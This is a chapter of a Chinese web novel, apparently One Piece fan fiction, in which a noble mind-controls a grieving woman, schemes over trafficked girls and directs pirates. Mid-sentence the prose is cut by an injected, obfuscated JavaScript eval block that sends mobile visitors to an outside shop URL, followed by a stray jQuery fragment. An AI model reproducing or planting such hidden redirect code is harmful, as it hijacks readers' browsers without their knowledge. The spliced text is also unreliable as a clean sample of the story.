靴声由远及近,不紧不慢。

    利兹急不可耐地扑上去,率先映入眼帘的是一双做工考究的皮鞋,干净光亮的鞋面在煤油灯昏暗的光线下泛着冷冽而惨淡的幽光。

    不属于这间狭小密室的香水味随之弥漫,钻入躁动的鼻腔,一个阴影投下来。

    利兹又惊又惧,但更多的是恨。

    一想到潘姆的死状,想到原本天衣无缝的计划被两个混蛋搅乱,浓烈的窒息感就从喉咙蔓延至胃部,燃烧成灼热的绞痛。

    她恨不得啖其血肉,寝其皮骨,势要为潘姆复仇,即使她对眼前的这个人害怕到了极点:“大人!皮科特是戴尼拉派来的间谍,他放跑了我们的商品!我和潘姆完全按照您的计划行事,却被他放出来的那个丫头坏了好事!”

    她抓住来人的双脚,声泪俱下,眼神如淬了毒的尖刀:“我们原本已经包围了「那一家」,就等您安排的人出面保护他们,但莉迪娅暗中带走了他们,发怒的岛民将刀剑指向了我和潘姆!大人啊——!还有戴尼拉!那个混蛋趁乱登岛,认出了我和潘姆,我们寡不敌众,潘姆为了让我逃跑,战死了啊!!”

    “大人,我自知没有完成您的任务,没有脸面来见您,但您要为潘姆报仇啊!!”

    利兹伏在他的身下痛哭,战战兢兢,一只指尖圆润干净的手抓住了她的下巴,把她的脸抬了起来。

    “没关系,利兹,来,看着我。”

    头顶落下的声音低沉温和,如有魔力一般抚平了利兹的恐惧,她哀切地抬起头,看到了一张温润而周正的脸。

    看到这张脸,她就不理解自己的恐惧了。

    即便已至中年,前团长的面容依旧轮廓分明,亚麻金的短发梳理得一丝不苟,妥帖地分垂在两侧。

    他的姿态优雅从容,仿佛每一根发丝都经过悉心的打理。

    “利兹,你不应该怕我,你非常地信任我,不然为什么在死了丈夫时首先求助于我呢?”

    “是......我非常地信任您。”利兹应道。

    “那你来告诉我,逃跑的商品——名为「莉迪娅」的女孩,与你的女儿相比,哪个更符合我的要求?”

    “您要求的女孩,年幼、貌美、充满活力、惹人怜爱。”

    “对,如果有战斗的天赋就更好了。”亚隆的声音平和轻柔,他盯着利兹的眼睛,利兹的双目也注视着他,眼眶里已经没有泪水再流出。

    “大人,名为「莉迪娅」的女孩完全符合您的要求,只是......”利兹眼中露出些许疑惑,“我的女儿?我有女儿吗?”她的脑海中闪过几丝模糊的片段,随之而来的是痛彻心扉的哀伤。

    她的嘴唇嗫嚅了几下,一个音节呼之欲出:“诺......”

    “是的,小诺拉,我们可怜的小诺拉被那「一家」害死了,”亚隆蒙住利兹的双目,在其耳边低语,“你记得的,她细伶伶的胳膊被折断,拧得粉碎的双腿乌黑......”

    利兹徒然哀嚎起来,脑子里有什么东西要破壳而出,但是被亚隆按了回去,他的声音有如魔法螺旋,将利兹的所有挣扎兜进了意识深处,眼神逐渐空洞。

    迷迷果实·迷惑之术!

    当利兹重新找回意识时,恨意直指被嫁祸的一家四口,她将所有的仇恨都归结于那不该来此处的世界贵族。

    阶级不能阻拦她的杀意,她被亚隆命令等待。

    “我会安排最合适的计划让你复仇,这个计划完美无缺,所以你要安静地等待,为了你最信任的我,做出一切的努力。”

    “是,大人。您的计划完美无缺。”

    亚隆走出房间,接过一个电话虫,对方已联线。

    “大人,”电话虫面无表情,挥动着两只肉质的小手,“飞鱼岛的激进分子已全部处置完毕,另外,我们在「转运人」的面馆里,发现了被捆缚的皮科特。”

    “他是戴尼拉的间谍,把他交给斯坦迪,由他去谈判。”亚隆摸索着指腹的戒指,安排道,“把他的舌头砍了,防止他说出不该说的话。保证戴尼拉见到他时,是活的就行。”

    “需要我在暗中策应吗?”

    “不,阿鲁鲁你回到本岛,安排人盯住利兹,”亚隆语气清淡地仿佛在品鉴一盘菜,“她有不臣之心。”

    “是,下官这就返回。”

    飞鱼岛,一处僻静的海岸,浪粼粼,礁石的缝隙里黏附着牡蛎尖锐的外壳。

    阿鲁鲁收起电话虫,今日因公出行,他穿的是护卫队的制服。

    海岛风大,身后的披风猎猎作响。

    他对面的不远处,一个身形瘦削的男人面对着他站立。他的脸犹如被海风揉搓多年的干布,褶皱里藏着洗不掉的盐渍,但其两眼中的精悍之色,让人不得小觑。

    他就是活跃在这片海域的恶徒——「斯坦迪海贼团」的团长,「小刀」斯坦迪。

    见到衣着精致的阿鲁鲁走来,他不屑地啐了一口:“嘁,当了贵族就是了不起了,话都要奴才来传,他又要让我干什么?”

    “不想被我割掉舌头,就把嘴巴放干净,那位大人可不是你能评价议论的。”阿鲁鲁冷漠地瞥了眼,扔来一个人,那人在地上滚了半圈,脸歪向一侧,正是生死不明的皮科特。

    “他是戴尼拉的人,带着他,戴尼拉投鼠忌器,这次总能把他干掉了吧。”

    “这得看你们能给多少钱了。”

    “能拿多少钱,得看你的本事。”

    阿鲁鲁拍拍手,掸掉不存在的脏东西:“我会在本岛最高的山上监视你们,你最好拿出你的真本事,否则换一个海盗来养,也不是不可以。”说着,他突然一扬手,一把飞刀擦过斯坦迪的耳朵,插入了五米外的海水之中。

    波动的海面溅起一朵浪花,咕咚一声,留下一抹迅速消散的血迹。

    “你怕是得赶紧准备了,”阿鲁鲁收起其余的刀子,“游得这么快,怕是戴尼拉的大副。”

    说完,他不顾斯坦迪屎一般的面色,径自离开。

    他所在意的,是亚隆那句“利兹有不臣

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17650180|205458||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    之心”。

    哼,可不就是吗,一个能徒手干翻海贼,并在飞鱼岛的恶霸追捕下安然逃脱的女孩,其胆识与能力皆非寻常。这样的人,竟被利兹评价为“上不得台面的垃圾”,压在手里作为己用。

    如果不是这次逼她逼得紧了,她还指不定要将其藏到什么时候。

    而且......明知道大人最需要这样的女孩,竟不先让大人过目,直接交由了「验货人」。

    阿鲁鲁皱起眉,听说「验货人」的交易对象里也有政府要员,怕是不好糊弄过去。

    思及此,阿鲁鲁目视斯坦迪乘舟登船,他留下一小组人在飞鱼岛维持秩序,自己也率队回城。

    以保护之名留下两人看管利兹,他从下属那里得到监视者的资料——那个女孩朝山上跑去了,「那一家」倒是安然在垃圾场呆着。

    蠢货,他暗骂了一句,如果不是大人早已安排人在暗中守候,他们哪里还能四肢全乎地休息,垃圾场的废人们早就把他们收拾得找不到北了。

    阿鲁鲁换下衣服,领了几个人,奔着山脚的近路而去。

    如果她不是个傻子,走的应该是那条道……

    匆匆离开时,他的视线扫到利兹,看到了利兹如飞鱼岛众人一般恍惚的神情,还有呆滞无神的双眼。

    他叹了口气——再过不久,她怕是也要痴傻了,在这个国家肆虐的传染病,这次倒是没放过垃圾。

    只是......飞鱼岛需要一个新的「转运人」了。

    ......

    枯山断水,荒山野岭。

    莉迪娅沿着打听到的山路,揣着压扁的面包和捡来的铁棍,不管三七二十一上了山。

    这不是个好时候,云重天阴,风急地寒。

    寒风卷起碎石抽打她的脸颊,枯枝如骨爪般钩住她的衣角,她哈出白气,今日寒潮,不宜出门,但她别无选择。

    刚在这个世界醒来,还一无所知的时候,她并没有太多的感触。

    现在观察到市民们时常不自觉的停顿,任何话题的终点都是对国王的恭维,她就一阵恶寒。

    备受追捧的「兰克商队」,即便明知登船后总有人无法归来,市民们仍义无反顾,将被选为其水手视为荣耀。

    莉迪娅认为这里的人口失踪不是在风暴中丧命这么简单!

    她指望自己可以猎到一些野味,维持着生命跨过山峦,去到另一个国家。如果那里也是地狱,她就再冲破一次。

    贼老天,这该死的世界对她好点吧!但凡她真是个心智不全的年幼儿童,她早死了!!

    走到半山时,莉迪娅停下歇脚,扫视可能存在的兔子窝。

    杂丛里传来悉悉窣窣的声音。

    风越来越快,她看到了探出的细刃。

    他们同时发现了对方。

    ......

    花开两朵,各表一枝。

    莉迪娅遭遇了追来的阿鲁鲁,斯坦迪开始和戴尼拉硬碰硬。

    两船对轰,炮火轰鸣。